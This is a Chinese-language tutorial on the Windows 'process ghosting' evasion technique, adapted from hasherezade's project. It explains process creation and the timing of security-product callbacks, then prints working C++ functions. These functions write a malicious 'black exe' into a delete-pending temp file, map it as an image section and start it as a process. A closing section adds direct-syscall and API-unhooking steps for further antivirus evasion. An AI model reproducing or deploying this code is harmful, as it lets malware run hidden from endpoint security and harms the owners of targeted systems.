声明
本文来自项目https://github.com/hasherezade/process_ghosting
参考自https://www.elastic.co/blog/process-ghosting-a-new-executable-image-tampering-attack
前置知识
一、Windows如何启动一个进程
1、启动可执行文件的句柄,`hFile = CreateFile(“C:\Windows\System32\svchost.exe”)``
2、创建一个section,将exe映射进这个section,hSection = NtCreateSection(hFile, SEC_IMAGE)
3、使用这个session创建一个进程,hProcess = NtCreateProcessEx(hSection)
4、分配参数和环境变量,CreateEnvironmentBlock/NtWriteVirtualMemory
5、创建一个线程并执行,NtCreateThreadEx
二、windows删除文件方法
1、在设置的 FILE_SUPERSEDE[1]或者CREATE_ALWAYS[2] 标志的旧文件上创建一个新文件。
2、创建或者打开文件时设置FILE_DELETE_ON_CLOSE[3]或者FILE_FLAG_DELETE_ON_CLOSE[4]。
3、通过NtSetInformationFile[5]调用FileDispositionInformation[6]时,将FILE_DISPOSITION_INFORMATION[7]结构中的 DeleteFile 字段设置为 TRUE。
三、安全产品如何判断一个进程的启动
安全产品驱动开发者通过在PsSetCreateProcessNotifyRoutineEx[8]、PsSetCreateThreadNotifyRoutineEx[9]等API来监控上层程序创建进程或线程的状态。但是PsSetCreateProcessNotifyRoutineEx 回调实际上并不是在创建进程时调用,而是在创建这些进程中的第一个线程时调用。所以在exe映射进内存,但是没有起线程的状态时,安全产品不会认为这个exe是启动状态。
PocessGhosting的实现方法
此方法涉及到三个文件,分别是black exe,white exe, temp file
下面是整个代码的思维导图:
其中主要涉及到三个函数分别是buffer_payload、process_ghost、make_section_from_delete_pending_file。
buffer_payload
它的主要作用是打开black exe文件句柄,并将black exe映射进内存,但是不执行后续的启动process操作。而后将exe映射进内存中的数据以指针的形式返回。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| BYTE* buffer_payload(wchar_t *filename, OUT size_t &r_size) { HANDLE file = CreateFileW(filename, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); if (file == INVALID_HANDLE_VALUE) { cout << "create file fail!\n" << endl; } HANDLE mapping = CreateFileMapping(file, 0, PAGE_READONLY, 0, 0, 0); if (!mapping) { CloseHandle(file); return nullptr; cout << "create map fail!\n" << endl; } BYTE* dllRawData = (BYTE*)MapViewOfFile(mapping, FILE_MAP_READ, 0, 0, 0); if (dllRawData == nullptr) { cout << "map move fail!\n" << endl; CloseHandle(mapping); CloseHandle(file); return nullptr; } r_size = GetFileSize(file, 0); BYTE* localCopyAddress = (BYTE*)VirtualAlloc(NULL, r_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); memcpy(localCopyAddress, dllRawData, r_size); UnmapViewOfFile(dllRawData); CloseHandle(mapping); CloseHandle(file); return localCopyAddress;
}
|
process_ghost
这个函数的主要作用是进行启动进程的操作。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76
| bool process_ghost(wchar_t* targetPath, BYTE* payladBuf, DWORD payloadSize) { wchar_t dummy_name[MAX_PATH] = { 0 }; wchar_t temp_path[MAX_PATH] = { 0 }; DWORD size = GetTempPathW(MAX_PATH, temp_path); GetTempFileNameW(temp_path, L"TH", 0, dummy_name);
HANDLE hSection = make_section_from_delete_pending_file(dummy_name, payladBuf, payloadSize); if (!hSection || hSection == INVALID_HANDLE_VALUE) { return false; } HANDLE hProcess = nullptr; NTSTATUS status = NtCreateProcessEx( &hProcess, PROCESS_ALL_ACCESS, NULL, NtCurrentProcess(), PS_INHERIT_HANDLES, hSection, NULL, NULL, FALSE ); if (status != STATUS_SUCCESS) { cerr << "NtCreateProcessEx failed! Status: " << hex << status << endl; if (status == STATUS_IMAGE_MACHINE_TYPE_MISMATCH) { cerr << "[!] The payload has mismatching bitness!" << endl; } return false; } PROCESS_BASIC_INFORMATION pi = { 0 }; DWORD ReturnLength = 0; status = NtQueryInformationProcess( hProcess, ProcessBasicInformation, &pi, sizeof(PROCESS_BASIC_INFORMATION), &ReturnLength ); if (status != STATUS_SUCCESS) { std::cerr << "NtQueryInformationProcess failed" << std::endl; return false; } PEB peb_copy = { 0 }; if (!buffer_remote_peb(hProcess, pi, peb_copy)) { return false; } ULONGLONG imageBase = (ULONGLONG)peb_copy.ImageBaseAddress; DWORD payload_ep = get_entry_point_rva(payladBuf); ULONGLONG procEntry = payload_ep + imageBase; if (!setup_process_parameters(hProcess, pi, targetPath)) { std::cerr << "Parameters setup failed" << std::endl; return false; } HANDLE hThread = NULL; status = NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)procEntry, NULL, FALSE, 0, 0, 0, NULL );
if (status != STATUS_SUCCESS) { std::cerr << "NtCreateThreadEx failed: " << GetLastError() << std::endl; return false; }
return true; }
|
make_section_from_delete_pending_file
其中,设置temp文件为删除状态,并将black exe的内存映射到temp文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| HANDLE make_section_from_delete_pending_file(wchar_t* filePath, BYTE* payladBuf, DWORD payloadSize) { HANDLE hDelFile = open_file(filePath); NTSTATUS status = 0; IO_STATUS_BLOCK status_block = { 0 };
FILE_DISPOSITION_INFORMATION info = { 0 }; info.DeleteFile = TRUE; status = NtSetInformationFile(hDelFile, &status_block, &info, sizeof(info), FileDispositionInformation); if (!NT_SUCCESS(status)) { cout << "Setting information failed: " << hex << status << "\n"; return INVALID_HANDLE_VALUE; } LARGE_INTEGER ByteOffset = { 0 };
status = NtWriteFile( hDelFile, NULL, NULL, NULL, &status_block, payladBuf, payloadSize, &ByteOffset, NULL ); if (!NT_SUCCESS(status)) { DWORD err = GetLastError(); cout << "Failed writing payload! Error: " << hex << err << endl; return INVALID_HANDLE_VALUE; } HANDLE hSection = nullptr; status = NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, 0, PAGE_READONLY, SEC_IMAGE, hDelFile ); if (status != STATUS_SUCCESS) { cerr << "NtCreateSection failed: " << hex << status << endl; return INVALID_HANDLE_VALUE; } NtClose(hDelFile); hDelFile = nullptr;
return hSection; }
|
后续研究
在整个项目中,需要用到NtCreateProcessEx和NtCreateThreadEx这样的敏感函数,通过对这两个函数进行systemcall,使用直接系统调用的方式来进行免杀处理。并使用unhook api,来解NtReadVirtualMemory、NtAllocateVirtualMemory、NtWriteVirtualMemory这几个对内存操作的nt函数hook。
具体代码项目地址:https://github.com/knightswd/ProcessGhosting
References
[1] FILE_SUPERSEDE: https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntcreatefile
[2] CREATE_ALWAYS: https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilew
[3] FILE_DELETE_ON_CLOSE: https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntcreatefile
[4] FILE_FLAG_DELETE_ON_CLOSE: https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilew
[5] NtSetInformationFile: https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-ntsetinformationfile
[6] FileDispositionInformation: https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-ntsetinformationfile
[7] FILE_DISPOSITION_INFORMATION: https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/ns-ntddk-_file_disposition_information
[8] PsSetCreateProcessNotifyRoutineEx: https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetcreateprocessnotifyroutineex
[9] PsSetCreateThreadNotifyRoutineEx: https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetcreatethreadnotifyroutineex